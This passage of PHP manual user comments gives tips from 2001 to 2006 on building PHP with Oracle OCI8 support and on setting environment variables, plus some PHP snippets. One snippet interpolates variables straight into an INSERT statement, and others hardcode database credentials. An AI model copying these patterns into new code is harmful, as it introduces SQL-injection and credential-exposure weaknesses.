     $db_conn = oci_connect("scott","tiger");

     main($db_conn);

     oci_close($db_conn);
   ?>

Took me the whole day, then I found Francesco Marsan's note (THANKS!) dated February 9th, 2006... and indeed, downloading from http://pecl4win.php.net/ext.php/php_oci8.dll solved the problem instantly.
soef at tjah dot net
04-Mar-2006 04:04
To install this in gentoo linux you will need to do some weird stuff:

-  Make sure you have this use flags set: "dba cli pcre xml zlib oci8-instant-client"
- Unmask PHP (5.1.1) by placing "dev-lang/php ~x86" in /etc/portage/package.keywords
- Unmask oracle-instantclient-basic (10.2.0.1-r1) by placing "dev-db/oracle-instantclient-basic ~x86"
- Download oracle files from "http://otn.oracle.com/software/tech/ oci/instantclient/htdocs/linuxsoft.html" (You have to make an account and login, in order to download the packages:

   * instantclient-basic-linux32-10.2.0.1-20050713.zip
   * instantclient-sdk-linux32-10.2.0.1-20050713.zip

- Place the downloaded packages in "/usr/portage/distfiles"
- "emerge apache dev-lang/php5" (If you done right, the build for the instantclient will be selected automaticly.
- Configure your "/etc/conf.d/apache2" to make sure you have "-D PHP5" in your "APACHE_OPTS"
dfischer at qualcomm dot com
03-Mar-2006 09:00
Here are some tips on getting the instant client to work with php:

I am using Fedora Core 3 and php-5.1.2 on x86.

Install:
oracle-instantclient-basic-10.xxxx.i386.rpm
oracle-instantclient-devel-10.xxxx.i386.rpm

Configuring php:
./configure --with-oci8=instantclient,/usr/lib/oracle/10.xxx/client/lib/
This path will change if you unzip it isntead of using the rpms. Make sure it points to where libclntsh.so is installed.

Configuring apache:
The following lines need to be in your .../apache/bin/envvars file:
LD_LIBRARY_PATH="/usr/lib/oracle/10.xxx/client/lib/: /opt/apache2/lib:$LD_LIBRARY_PATH"
TNS_ADMIN="/usr/lib/oracle/10.1.0.4/client/lib/"
LANG=en_US
export LD_LIBRARY_PATH LANG TNS_ADMIN
You will need to modify the paths to the oracle instantclient libs and to apache. In addition, the language will need to be modified if not US English.

TNS Names and Oracle:
Put the tnsnames.ora and sqlnet.ora files into the same directory as libclntsh.so.

Restart apache and you should be able to connect.
jnavratil at houston dot rr dot com
13-Feb-2006 09:30
The error message "There is something wrong with your system - please check that ORACLE_HOME is set and points to the right directory" is somewhat deceptive in that it can be emitted even when ORACLE_HOME is correctly set, but that there is a connection failure when the OCI8 extension uses the Oracle OCI API.  This API requires access to several files in the Oracle distribution which, at least in the 10g release 2 distribution, are not available to 'others'.  It seems this may be the reason that we are directed to give oracle 'oinstall' group access to the apache user.  For those who do not consider this a good idea, the solution is to grant 'other' access to the files.

I used the following script (YMMV) ....

export ORACLE_HOME=<your-Oracle-home-here>
chmod o=x $ORACLE_HOME/network
chmod o=x $ORACLE_HOME/network/admin
chmod o=r $ORACLE_HOME/network/admin/tnsnames.ora
chmod o=r $ORACLE_HOME/nls
chmod o=r $ORACLE_HOME/nls/data
chmod o=r $ORACLE_HOME/nls/data/*
chmod o=x $ORACLE_HOME/oracore
chmod o=x $ORACLE_HOME/oracore/zoneinfo
chmod o=r $ORACLE_HOME/oracore/zoneinfo/timezlrg.dat
chmod o=r $ORACLE_HOME/rdbms
chmod o=r $ORACLE_HOME/rdbms/mesg
chmod o=r $ORACLE_HOME/rdbms/mesg/*

The ORACLE_HOME environment variable *IS* required, but I found no need to set the others (again, YMMV).

To discover the files referenced by your OCI8 scripts, you can open the security by giving apache group access to the Oracle directories, touching some temp file and using 'find' to discover the files which have been accessed.  Try using...

cd $ORACLE_HOME
find . -anewer <my-touched-temp-file> -print
francesco [dot] marsan [at] yahoo.it
10-Feb-2006 05:47
If you experience Apache crashes on a Windows platform with PHP 5.1.2 while trying to access Oracle, try exchanging the php_oci8.dll that comes with the distribution, with the one that is on http://pecl4win.php.net/ext.php/php_oci8.dll. After much trouble while trying many install options this finally solved my issues and worked fine.
cjbj at hotmail dot com
20-Jan-2006 12:09
PHP 5.1.2 was the first PHP release to ship the "re-factored" OCI8 1.1 driver.

The configuration options for the re-factored driver have changed, particularly for building with Oracle Instant Client. Some older articles and documentation are now obsolete.  Run ./configure --help to see the new syntax.

User's of PHP prior to 5.1.2 can install the re-factored driver from http://pecl.php.net/package/oci8 or http://pecl4win.php.net/ext.php/php_oci8.dll
wes9999 at myfastmail dot com
19-Jan-2006 01:19
If you're compiling php 5.1.2, and using the oracle instant client, the appropriate configure option is:
--with-oci8=instantclient,/path/to/instantclient/libs

which is a change from the configure option for php 5.1.1, which was:
--with-oci8-instant-client=/path/to/instantclient/libs

If you use the old one with php 5.1.2, it just silently ignores this option and the resulting php build doesn't have oracle support.
scoop at subindie dot com
27-Oct-2005 04:27
Regarding compiling with the recently updated OCI8 Extension (http://pecl.php.net/package/oci8).

I ran into problems when statically compiling, such as numerous "undefined reference to `zif_oci_***'" errors.  Since I likely won't be the only one to run into this problem, here's some helpful hints:

If you've previously compiled your php installation, first: make clean

Then replace the existing php-x.x.x/ext/oci8 directory with the latest package from: http://pecl.php.net/package/oci8

./buildconf --force
./config ..
make
jistanidiot at gmail dot com
16-Sep-2005 11:07
On RHEL for PHP4 or 5...

For Oracle 9i before you compile PHP but after you install Oracle, you need to make the following symlinks:

ln -s $ORACLE_HOME/rdbms/public/nzerror.h  $ORACLE_HOME/rdbms/demo/nzerror.h

ln -s $ORACLE_HOME/rdbms/public/nzt.h $ORACLE_HOME/rdbms/demo/nzt.h

ln -s $ORACLE_HOME/rdbms/public/ociextp.h $ORACLE_HOME/rdbms/demo/ociextp.h

ln -s $ORACLE_HOME/lib/libclntsh.so.9.0 $ORACLE_HOME/lib/libclntsh.so.8.0

ln -s $ORACLE_HOME/oui/bin/linux/libcdlntsh.so.9.0
$ORACLE_HOME/oui/bin/linux/libcdlntsh.so.8.0

With 10g you need to make the first three and then this one:
ln -s $ORACLE_HOME/lib/libclntsh.so.10.0 $ORACLE_HOME/lib/libclntsh.so.8.0
denis dot delamarre at chu-rennes dot fr
10-Jun-2005 01:00
php5 + Apache 2 + solaris 2.10 + oracle9i (64bits)

'./configure' '--with-oracle=/prod/dba/oraeve/ora9i' '--with-apxs2=/usr/local/apache2/bin/apxs' '--with-zlib' '--with-gd' '--without-mysql' '--with-oci8=/prod/dba/oraeve/ora9i'

fail with :
ld: fatal : fichier libclntsh.so : wrong elf class : ELFCLASS64

the solution is between ./configure and make command to edit Makefile and replace /ora9i/lib  with  /ora9i/lib32

all it's ok
MSapp
07-Jun-2005 09:48
Problems compiling 5.0.4 with Oracle Instant Client 10? (i.e. cannot find -lirc)

Remove the "-lirc" from sdk/demo/sysliblist and rerun configure.
darkstar_ae at hotmail dot com
26-Apr-2005 01:39
When fetching associative arrays, use uppercase string indices. It appears the PHP OCI Library is less lenient with the field names returned by Oracle.

e.g.

echo $row['field1']; // This won't return anything.

as opposed to:

echo $row['FIELD1'];
kucerar at hhmi dot org
24-Feb-2005 12:29
Great Solaris patch!  Finally built.  Here's some tips on connecting:

Just made this on solaris8 32bit, actually works.

1) put everything in one directory
2) unsetenv ORACLE_HOME
3) set the env vars LD_LIBRARY_PATH and SQLPATH and TNS_ADMIN(if you have it) to that directory.
4) use one of the other easy connection notations here

http://www.oracle.com/technology/
docs/tech/sql_plus/10102/readme_ic.htm

These env vars worked when put at the top of apachectl script as well.

To build you may have to fake it out with an ORACLE_HOME var,  but unset it later.  You may also have to fake out the build by putting header files where it is looking for them,  e.g. in the rdbms/demo directory or some such other place.

When running though,  make sure you have only the files required in only one directory.

Oracle has not put up a link to the 32bit solaris sqlplus--you have to guess it--it's there though:

http://download.oracle.com/otn/solaris/instantclient/
instantclient-sqlplus-solaris32-10.1.0.3.zip

...and don't forget to add ".world" on to the end of your SID. It's very common to have to specify DBNAME.WORLD to connect.
buswash at gmail dot com
02-Feb-2005 10:51
PHP 5.0.3 + Solaris 9 (UltraSPARC) + Apache 2.0.51 + Oracle 10g Instant Client 10.1.0.3

Thanks to Jakob's patch I got this combination working.  Here are some things that helped me:

1. After getting this:
ld: fatal: file /opt/oracle/instantclient/libclntsh.so: wrong ELF class: ELFCLASS64

I realized that PHP is a 32-bit application and that all 3rd-party libraries need to be 32-bit as well.  You need to download the 32-bit version of Instant Client (basic + sdk), even if you are running the 64-bit Solaris OS.

2. My patch command syntax was a little different:
patch -p0 -i php5_ociclient.patch config.m4

Thanks again to Jakob for porting the patch over to PHP 5.

Marc
jakob dot jellbauer at interhyp dot de
19-Jan-2005 04:00
Yes, i`ve made it !
Installing PHP 5.0.3 and the Oracle 10g Instant Client on Linux .

There is no need to have a full Oracle Installation on the Webserver, you only need the client.

http://www.oracle.com/technology/pub/notes/technote_php_instant.html

The patches provided from Oracle are for PHP Versions 4.3.9 or 4.3.10.

Here is the handmade patch for PHP 5.0.3 :

...
patch -u php-5.0.3/ext/oci8/config.m4 php5_ociclient.patch
cd php-5.0.3
rm -rf autom4te.cache config.cache
./buildconf --force
...

Download the Patch here:

 http://www.pubanz.de/jakob/php5_ociclient.zip

Have fun,

Feel free to ask me if there are any questions
mark at magpies dot net
06-Jan-2005 05:05
Hello once again.
This time I present details on how to get Oracle Instant Client 10g ( 10.1.0.3 ), PHP 5.0.3 and Apache 2.0.52 running together on Linux (I've used fedora core 1 but I can't see why this will not work for any other distro )
*Note* This is not a guide on compiling php and httpd there are plenty of guides around to do that. This just covers compiling and using the oci8 module with php.

1. Set-up and install apache-2.0.52 as per normal

2. Unpack the Oracle 10g Instant Client ( 10.1.0.3 SDK + Basic, I also use the sqlplus pack to test the connection outside of apache / php )
  rpm -ivh oracle-instantclient-basic-10.1.0.3-1.i386.rpm  oracle-instantclient-devel-10.1.0.3-1.i386.rpm  oracle-instantclient-sqlplus-10.1.0.3-1.i386.rpm

3. Set env ORACLE_HOME to the clients path in the current shell your shell command may vary (this is bash )
  export ORACLE_HOME=/usr/lib/oracle/10.1.0.3/client; export LD_LIBRARY_PATH=/usr/lib/oracle/10.1.0.3/client/lib;
(if you want to test if you can now get a connection to oracle using sqlplus see item 10 below.)

4. Unpack php-5.0.3 as per normal add in  --with-oci8  to the configure options. If the ORACLE_HOME is set previously then adding the directory as per "--with-oci8=$ORACLE_HOME" should not be necessary. Do this to be safe though.

5. Run the ./configure program in php source directory. Don't make it just yet though.

6. The compiler needs to find the includes oci.h + others so, from the default client install dirs, I needed to edit the php Makefile after it was configured. Open it up and look for "EXTRA_INCLUDES" and add to end of line
-I/usr/include/oracle/10.1.0.3/client  (thats a capital i ) save the Makefile, then finish off compiling and installing php.  Please note im sure this will be changed in php's configure so it finds these by default in the not too distant future.

7. Create a directory /etc/oracle and place your tnsnames.ora file in there, (VERY IMPORTANT make sure you chmod your tnsnames.ora to ensure that whatever username your httpd server runs under can read the file (1.5 hours of frustration later i figured this out). I just did "chmod 0644 tnsnames.ora" it doesn't matter where you put this as long as you set the env  TNS_ADMIN to it. (IMPORTANT  TNS_ADMIN points to a directory not the actual tnsnames.ora file )

8. My system uses a /etc/init.d/httpd script to start up httpd so in that file I exported the ORACLE_HOME & TNS_ADMIN env vars before the httpd is run, oh you will need to set LD_LIBRARY_PATH as well if you not added the path to ld.so.conf
  export ORACLE_HOME=/usr/lib/oracle/10.1.0.3/client; export TNS_ADMIN=/etc/oracle

9. start httpd and bobs your uncle....

10. You can test connection once the instant client rpm's are installed by using  sqlplus.  set  ORACLE_HOME as above,  TNS_ADMIN as above, LD_LIBRARY_PATH as above and if necessary.  Then  sqlplus <username>/<password>@<sid or service_name as per tns_admin file>  use sqlplus here as you would normally

Mark
PS: Thanks Oracle for the SDK,  about time !
Mark at catalyst dot net dot nzed
10-Aug-2004 11:28
ReCompiling PHP4 to have oracle 8 support (oci8) on Debian Linux, using the Oracle 10g client libraries. Log in as root.

PACKAGES REQUIRED:
php4-dev
php4 (source files)
php4 module (might not be required, but it's what i had installed at the time)

OTHER PACKAGE REQUIREMENTS:
Oracle Client Libraries (i used Oracle 10g Server, but you should be able to use, as has been previously said, any set of the oracle client libraries from 8i onwards).
* make sure this is installed before recompiling php4.

ENVIRONMENT REQUIREMENTS:
- export ORACLE_HOME=[where u installed the oracle client]
- export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib
- export LD_PRELOAD=libclntsh.so.10.1 (the version number at the end will correspond to the oracle version you previously installed. in my case, 10g is 10.1).
- vi /etc/ld.so.conf and add $ORACLE_HOME/lib to the list of paths.
then * run ldconfig to reload those changes to the system * (p.s. make sure it's the full path, and not using any environment variables. e.g. /u01/app/oracle/product/10gRDBMS is my ORACLE_HOME).

STEPS:
- cd /usr/src/[PHP4 Version]
in my case, [PHP4 Version] = php4-4.3.8, so path was
/usr/src/php4-4.3.8

- vi debian/rules
these are the default compilation rules for php4. Find section labeled COMMON_CONFIG = [...] and add --with-oci8 (it should be near the top of the file).

- debchange -i (allows you to edit the change log for the versions of php. btw - you should be in the php4 source code directory). give the version id something obviously unique. don't forget to add a comment.

when all is in readyness, then you should be able to go debian/rules binary to build the debian packages required.
the deb packages are built into the /usr/src directory. and depending on the default compilation options u choose, there should be a few. find the deb package that corresponds to the main php4 module (php4_4.3.8-4.mark.1_i386.deb for me), and run dpkg -i [package name] to install it.

- vi /etc/init.d/apache and add exports for $ORACLE_HOME, $LD_PRELOAD and $LD_LIBRARY_PATH

* don't forget to restart apache /etc/init.d/apache to reload the php4 module. *

IF YOU GET... :
if you get an error saying something about apache cannot load libclntsh.so.10.1, file not found, check the environment variables, for both the user, and in /etc/init.d/apache and also check ld.so.conf to make sure the $ORACLE_HOME/lib path is in there, and has been reloaded (with ldconfig).

editing ld.so.conf was the part that finally got it working for me.
as you should be able to tell, the steps are pretty much the same as for all oracle versions 8i onwards, and all linux OS's. but with a few debian specific paths and commands thrown in.
mark at magpies dot net
06-Jul-2004 12:07
For those trying to use the Oracle Instant Client 10g in a win32 environment, heres a nice easy howto. If you fully read the docs properly and understand what your reading you will be able to set it up, but if like me you want a quick easy fix, heres how I did it.

1. Download and install the Oracle Instant Client to where ever (lets say  c:\ora\client  )
2. Add your connect info, copy a previously created or provided tnsnames.ora file to the above directory.
3. Change Path in the Environment Variables area to add this directory to the path. ie.  c:\ora\client;%SystemRoot%;<and so on>
4. Open regedit and add a Key called ORACLE to HKEY_LOCAL_MACHINE\SOFTWARE
5. To the ORACLE key add a string value called TNS_ADMIN and assign it the directory above (ie. c:\ora\client )  So you end up with KEY_LOCAL_MACHINE\SOFTWARE\ORACLE\TNS_ADMIN = c:\ora\client
6. Set php to use Oci8 extension and bobs your uncle
7. Reboot.

Option 7 was required as the oci8 extension or php wouldn't pick up the path change. Also my problem was how to use other programs like sqlplus without creating extra Environment Variables etc the TNS_ADMIN / tnsnames.ora part makes that simpler and allows you to call things the same as you would before.

PS: This should apply to all the Instant Clients. I haven't tried it with any others but 10g though.

Hope this helps.
beckman at purplecow dot com
15-Jun-2004 07:20
For those of you running Oracle on Linux, and running a remote box also on Linux, here's an easy way to get OCI8 working without having to install the whole Oracle DB just to get your client working.

[PS -- For the life of me, installing client libraries for Oracle really shouldn't be this hard, but it really truly is.]

Step 1.  Copy the following directories from your ORACLE_HOME directory where Oracle is installed (the database server) to your remote client server/machine:

     lib, network, ocommon, plsql, rdbms, oracore

   These contain all of the files/folders/libraries you'll need to compile OCI8 into PHP.  I put this in /home/beckman/oracle and set ORACLE_HOME as that dir.

Step 2.  Compile PHP with --with-oci8=/home/beckman/oracle (obviously using your directory, not mine).  Install, (re)start apache.

Step 3. Remove plsql and rdbms directories from ORACLE_HOME on your remote server, leaving you with lib, network, ocommon and oracore.

Step 4. Read: http://otn.oracle.com/tech/opensource/php/php_troubleshooting_faq.html

NOTE: This will only help you if you (a) have Oracle successfully running on Linux (was RH Enterprise 3 for me) and your client box is running the same OS.  I'm not sure it will work on earlier versions, but it may.  Your results should be posted here methinks!
cyrill@_malevanov_dot_spb_dot_ru
11-May-2004 04:05
Passing CLOB to stored procedure and retrieve CLOB too (function lobinout(a in clob) return clob)

<?
   error_reporting(1+2+4+8);
   $conn = OCILogon('batdtd', 'batdtd', 'batxml');

   $lobin = OCINewDescriptor($conn, OCI_D_LOB);
   $lobout = OCINewDescriptor($conn, OCI_D_LOB);

   $stmt = OCIParse($conn, "declare rs clob; begin :rs := lobinout(:par); end;");
   $lob_data = 'abcdefgh';

   echo "binding lobin...";
   OCIBindByName($stmt, ':par', $lobin, -1, OCI_B_CLOB);

   echo "done<br>binding rs...";

   OCIBindByName($stmt, ':rs', $lobout, -1, OCI_B_CLOB);

   echo "done<br>writing temp lob...";
             // here we pass data to func
   $lobin -> WriteTemporary($lob_data);
   echo "done<br>executing...";

   OCIExecute($stmt, OCI_DEFAULT);
             // here we load data returned from func
   echo "done<br>rs = ".$lobout->load();
   OCICommit($conn);
   $lobin -> free();
   $lobout -> free();
   OCIFreeStatement($stmt);
   OCILogoff($conn);
?>
dadarden_nospamoladude at iti2 dot net
13-Mar-2004 09:27
PHP Oracle -- Compiling Oracle Support into PHP, Apache 2
Apache 2.0.48,  Php 4.3.4,  Red Hat Linux 9.0,  Debian 3.0,  Oracle 9i R2
Dave Darden  1/17/04 -- www.dardensystems.com

First install Apache 2 from source.  Instructions are at http://httpd.apache.org/docs-2.0/install.html.
I used a --prefix=/usr/local/apache on the install.

Install Oracle.  There is a very good Oracle install to RedHat 9.0 white paper at http://www.dizwell.com/ that goes step by step through the problems (Oracle is not supported on RedHat 9.  Oracle only supports installation on paid versions of Red Hat).

If only an Oracle client is installed on the web server (if the database is on another machine in a multi-tier configuration) then you must install both the client and the Oracle Call Interface (OCI).  I think SQLPlus also needs to be installed.  Oracle Network Utilities and Installation Common Files were also installed.  If you cannot configure/make php because of missing Oracle library errors during configure/make, then investigate whether you have installed enough of the client pieces of Oracle on the web server machine.

I also included a link from  libclntsh.so.8.0  to  libclntsh.so.9.0  in the $ORACLE_HOME/lib directory.  Some internet posts suggested it to prevent errors in php configure/make.  A later experience moving from RedHat to Debian confirms that it is necessary to avoid a make error on a missing lclntsh file.

In transferring the client software from a Red Hat 9.0 web server installation to a Debian 3.0 (kernel 2.4.18) web server installation I was able to simply copy over the Oracle /u01 directory tree without rerunning the Oracle client installation.  This must be done before php is configured and compiled on the Debian machine so the oci8 libraries are available.  And of course the tips on libclntsh and environment variables must be observed as well.

Get the php source.  This php configure line worked for me, creating an Apache 2 module, and keeping mysql and gd support.  Add other options if you need them for a given site.  For some reason, even though gd is included with php now, zlib was needed to successfully configure and make php from source when including gd.  You will need to substitute appropriate directory locations for your install of Apache, zlib, and Oracle.

./configure --with-apxs2=/usr/local/apache/bin/apxs \
--with-mysql --with-gd \
--with-zlib-dir=/usr/local \
--with-config-file-path=/etc \
--enable-force-cgi-redirect --disable-cgi \
--with-oci8=/u01/app/oracle/9i --enable-sigchild

Use an absolute path on  -with-oci8=/u01/app/oracle/9i
(Do not use the $ORACLE_HOME path variable in the configure statement.  For some reason it does not work even when it is set properly.)

Also, set the environment variables in
/usr/local/apache/bin/envvars like so (your env var values should vary):

export ORACLE_SID="lx92"
export ORACLE_HOME="/u01/app/oracle/9i"
export TNS_ADMIN="/u01/app/oracle/9i/network/admin"
export LD_LIBRARY_PATH="/u01/app/oracle/9i/lib"
export TNS_ADMIN="/u01/app/oracle/9i/network/admin/tnsnames.ora"
export TWO_TASK="/u01/app/oracle/9i/network/admin/tnsnames.ora"
export NLS_LANG="English_America.WE8ISO8859P1"
export ORACLE_BASE="/u01/app/oracle"
oddbec_no_more_spam_kthx at online dot no
25-Feb-2004 12:49
I had trouble with norwegian characters using oracle 8.7.1 / php 4something and Apache 2.

The only trouble was that '?' appeared instead of the norwegian characters.

The solution to it all was to add this to the apachectl script:

export NLS_LANG="norwegian_norway.WE8ISO8859P1"
export ORACLE_BASE="/home/oracle"
export ORA_NLS33="/home/oracle/ocommon/nls/admin/data"
export ORACLE_TERM="ansi"
export ORACLE_HOME="/home/oracle"
export LANG="no_NO"

I'm not sure if all of these are necessary, but I took no change, and it works now :)
lomax at arizona edu
26-Jul-2003 07:26
Can't compile php with Oracle 9i and apache on Solaris8?
Sun 280R

Using some of the tips below I had to add this:
(static build)

#!/bin/tcsh
setenv LDFLAGS -L$ORACLE_HOME/lib32

cd php-4.x.x/
./configure --with-oci8=$ORACLE_HOME --with-apache=/path/to/apache_src ..etc
make
make intsall

cd apache_src
(make sure environment variable is still set)
./configure  "--prefix=/usr/apache" "--enable-module=so" \
"--activate-module=src/modules/php4/libphp4.a"  ...etc
make
make install

Having the gcc compilier build php against oracle 32 bit libraries was the key, but without setting LDFLAGS the compiler defaults to using the 64-bit oracle libraries which cause the famous
"...wrong ELF class: ELFCLASS64.." on startup.

The only diffenece here was I didn't have to do play musical directories for it to work. The below post was instrumental in helping me to get this fixed. Thanks to "lore_giver at lycos dot co dot uk"
lore_giver at lycos dot co dot uk
21-May-2003 02:42
Running Oracle 9i on a
Solaris 9 (64 bit) platform with a Sun Server E250:
Apache version 1.3.27
PHP version 4.3.1

I was first getting "...wrong ELF class: ELFCLASS64.."
while doing a ./configure with the --with-oci8 and --with-oracle parameters.

After some unsuccessfull searched I renamed the $ORACLE_HOME/lib to $ORACLE_HOME/lib.org and then renamed the
$ORACLE_HOME/lib32 to $ORACLE_HOME/lib

Thereafter it went passed this config, but now failed on
not being able to find a libwtc9.so file which was in the
$ORACLE_HOME/lib directory  (this message was displayed in the debug.log in the php source directory).

After setting the Environment variable:
LD_LIBRARY_PATH=$ORACLE_HOME/lib
I was able to compile without any errors and 'make' and 'make install' ran smoothly.

I only had to add the php type in the httpd.conf (in your apache conf directory eg. /usr/local/apache/conf)..
AddType application/x-httpd-php .php
to get the php to work again...

I had to then reverse the $ORACLE_HOME/lib swop on top since php was now having problems with the 32 bit version of the library...so switched it back to 64 and my php script worked....

Hope this helps some out there with similar problems..

Cheers
10-Dec-2002 05:53
Configuring/Compiling PHP as a DSO with Oracle support from source on a Sun Solaris 8 box.  We had already installed Oracle 9.2.0 client tools.

1. Make sure the following tools are installed

   autoconf
   automake
   bison
   flex
   gcc
   make
   gzip

   They can be downloaded from http://www.sunfreeware.com.

2.  Make sure Apache is installed with DSO support.  We ran the Apache configure/compile like so:

   LIBS=-lpthread ./configure \
   --prefix=/usr/local/apache \
   --enable-module=most \
   --enable-shared=max

   make
   make install

3.  If you haven't already, install the Oracle client tools.
4.  Make sure the following environment variables are set correctly and are accessible by all users.  We set them in /etc/profile.

   ORACLE_HOME
   ORACLE_BASE
   NLS_LANG
   ORA_NLS33
   ORACLE_TERM
   LD_LIBRARY_PATH

   (technically, only $ORACLE_HOME is required, but you'll want to set the rest in order to make sure things run smoothly afterward)

5.  Make sure '/usr/ccs/bin' is in your path.  If not, add it.
6.  Unpack PHP source (php-4.2.3):

   gunzip php-4.2.3.tar.gz
   tar xvf php-4.2.3.tar
   cd php-4.2.3

7.  Run PHP configure like so :

   CC=gcc ./configure --with-apxs=/usr/local/apache/bin/apxs \
   --with-config-file-path=/etc \
   --with-mysql \
   --enable-ftp \
   --with-oci8=/path/to/ORACLE_HOME \
   --with-oracle=/path/to/ORACLE_HOME \
   --enable-sigchild

8.  Run make:  make
9.  Run this as root:  make install
10.  Change the LoadModule line in httpd.conf to include the fully qualified path.  For us:

   LoadModule php4_module        /usr/local/apache/libexec/libphp4.so

11.  Make sure the PHP files types are recognized in your httpd.conf file:

   AddType application/x-httpd-php .php
   AddType application/x-httpd-php-source .phps

12.  Test the configuration:

   /usr/local/apache/bin/apachectl configtest

   It should return "Syntax OK"

13.  Bounce Apache:

   /usr/local/apache/bin/apachectl restart

14.  Here's a simple PHP script to test the setup.  If you don't have access to the default tables Oracle provides, change the connections/tablenames/fields to match your setup:

   <?php

   $db_conn = ocilogon("scott", "tiger");

   $cmdstr = "select ename, sal from emp";
   $parsed = ociparse($db_conn, $cmdstr);
   ociexecute($parsed);
   $nrows = ocifetchstatement($parsed, $results);
   echo "Found: $nrows results<br><br>\n";

   echo "<table border=1 cellspacing='0' width='50%'>\n";
   echo "<tr>\n";
   echo "<td><b>Name</b></td>\n";
   echo "<td><b>Salary</b></td>\n";
   echo "</tr>\n";

   for ($i = 0; $i < $nrows; $i++ ) {
         echo "<tr>\n";
         echo "<td>" . $results["ENAME"][$i] . "</td>";
         echo "<td>$ " . number_format($results["SAL"][$i], 2). "</td>";
         echo "</tr>\n";
   }

   echo "</table>\n";

   ?>
poulman at uponorhsdna dot com
11-Oct-2002 02:51
Re: ora-12154 errors with PHP 4.2.3, Apache 1.3.27, and Oracle 9i (client only) I had two identical set ups, one on SuSE 8.0 and one on RedHat 8.0, the SuSE worked and RedHat errored with ora-12154! For some reason, having the apache user in the oracle group worked for SuSE but did not for RedHat, I had to run the Apache service as oracle user (the one used to install oracle client). Just wanted to share this little tidbit with anyone who might be pulling their hair out like me :-). Other key things were setting the ORACLE_HOME env variable before starting Apache (I did this in the profile file).
bradburn at kiwi dot de
24-Sep-2002 08:23
keywords: NLS_LANG, NLS_CHARACTERSET,SetEnv,putenv()

If you have tried setting the environment variables -- especially NLS_LANG -- in PHP with putenv(), and perhaps also in Apache with SetEnv, and you are still having trouble with PHP+Oracle and foriegn character sets (you get e.g. 'd' for ''), try setting the environment variables in your PROFILE (e.g. under bash) BEFORE starting the Apache server once more. This finally stopped the problems we were having. For reference, set the following variables:

ORACLE_HOME
ORA_NLS33
TNS_ADMIN
TWO_TASK
CLASSPATH
LD_LIBRARY_PATH
NLS_LANG

An example would be:

NLS_LANG=GERMAN_GERMANY.WE8ISO8859P15; export NLS_LANG

Then restart Apache (see below for important note).

Our system was Sun SPARC 5.8, running Apache 1.3.26 with PHP 4.2.2, and the OCI8 API for Oracle.

One further note: restart Apache with:

  apachectl stop
  apachectl start

rather than

  apachectl restart

otherwise your environment may not be reset.

Hope this helps someone!

Ed
s917725 at mail dot yzu dot edu dot tw
18-Sep-2002 10:11
If you still have ORA-12154 failed with Apache PHP on oracle8i
check
1.edit httpd.conf the apache starter user should the same user(and group) who install oracle(oracle:oinstall)

2.make apache starter .bash_profile the same with user who install oracle
3.and restart apache and php
4.make sure
$c2 = ocilogon("scott","tiger",$db);

the $db should the same with /etc/oratab  SID

taht's all
devolver at iastate dot edu
31-May-2002 07:32
I spent several hours tracking down error ORA 24374, which would result from only *SOME* of my select statements.  This error would be caused if I made a query that would return any non-numerical value.  I am running an Apache 1.3.x webserver and PHP 4.2.1.

The fix is to add entries in your httpd.conf file that would export your environment settings.  I added these three lines and everything worked like a charm!
SetEnv ORACLE_HOME  /path/to/oracle/home
SetEnv ORA_NLS33  /path/to/oracle/home/ocommon/nls/admin/data
SetEnv NLS_LANG AMERICAN

Obviously, if your NLS_LANG is different, you should set it to whatever your NLS_LANG actually is.  Ask your friendly DB admin for this information.

Hope this helps someone who treads down the path that I just followed!

Trent
ddc at portalframework.com
15-May-2002 02:30
Sometimes Oracle doesn't cleanup shadow processes when accessed from PHP. To avoid that, check your
$ORACLE_HOME/network/admin/tnsnames.ora file in your Oracle Client directory and remove the (SERVER=DEDICATED) token if is set.

To let Oracle delete shadow process on timeouts, add the following line in your $ORACLE_HOME/network/admin/sqlnet.ora
found in your ORACLE Server directory:

SQLNET.EXPIRE_TIME=n

Where 'n' is the number of minutes to let connection idle befor shutting them out.
morales at tj dot rs dot gov dot br
25-Apr-2002 08:33
Debian / Apache / PHP oci8 / Oracle

I just wanna tell my experience compiling the oci8 support from php debian sources. It gave me a lot of headache and I think it might be useful for others who use debian.

This is for debian woody (3.0), php 4.1.2, apache 1.3.24, oracle 8.1.7
(of course, it might be useful for other versions)

The Debian packages have not oci8 compiled in, so you must get the sources. Then I edited the debian/rules file and added the following:

on top:

ORACLE_HOME=my_ora_home_here
export ORACLE_HOME
LD_LIBRARY_PATH=/lib:/usr/lib:/$ORACLE_HOME/lib
export LD_LIBRARY_PATH

to the COMMON_CONFIG variable:
--with-oci8=shared,${ORACLE_HOME}

to the modules variable, just bellow the above:
oci8
(like ... mhash, mysql, oci8, odbc ...)

The "shared" keyword was the key for me. Before using it I was getting "ld: cannot find -lclntsh" on the compile time.

This way the compiling with dpkg-buildpackage went fine. If oci8.so does not show up in the modules directory after install, look php-source-path/apache-build/ext/oci8/.libs - it's there.

If this still fails, look also to the oracle-stubs problem. Oracle is compiled against glibc 2.1 and woody comes with 2.2. But oracle gives some stubs libs for work-around the problem. I don't know if this is necessary for the client libs, but I suggest trying. Look at Oracle docs.

Now things goes terribly fine here.
[]'s

Diego Morales,
Porto Alegre - Brazil.
edahnke at consultant dot com
09-Jan-2002 04:01
Here's a little snipet that shows how to insert multiple clob fields. Worked for me.

$dbh = OCILogon($dst_user_name, $dst_password, $dst_db_name);

for($i = 0; $i < $src_rec_cnt; $i++) {
   $query = "insert into bid (id,time,resume,experience,comments) values ('$id[$i]','$time[$i]',empty_clob(),empty_clob(),empty_clob()) returning  resume,experience,comments into :resume,:experience,:comments";

   $stmt = OCIParse($dbh, $query);

   $clob1 = OCINewDescriptor($dbh, OCI_D_LOB);
   $clob2 = OCINewDescriptor($dbh, OCI_D_LOB);
   $clob3 = OCINewDescriptor($dbh, OCI_D_LOB);

   OCIBindByName ($stmt, ":resume", &$clob1, -1, OCI_B_CLOB);
   OCIBindByName ($stmt, ":experience", &$clob2, -1, OCI_B_CLOB);
   OCIBindByName ($stmt, ":comments", &$clob3, -1, OCI_B_CLOB);

   OCIExecute($stmt, OCI_DEFAULT);

   @$clob1->save ($resume[$i]);
   @$clob2->save ($experience[$i]);
   @$clob3->save ($comments[$i]);

   OCICommit($dbh);
85276 at gmx dot net
09-Nov-2001 03:16
<?
// offset and limit feature for oracle 8 database selects

$conn = OCILogon("user","pw","server.world");

$sql="
declare
  type c_type is ref cursor;
  c_data c_type;
  c_null tab.row_id%type;
begin
  open :c_data for
   select row_id from tab order by row_id;
  while :c_data%rowcount < :c_init loop
   fetch :c_data into c_null;
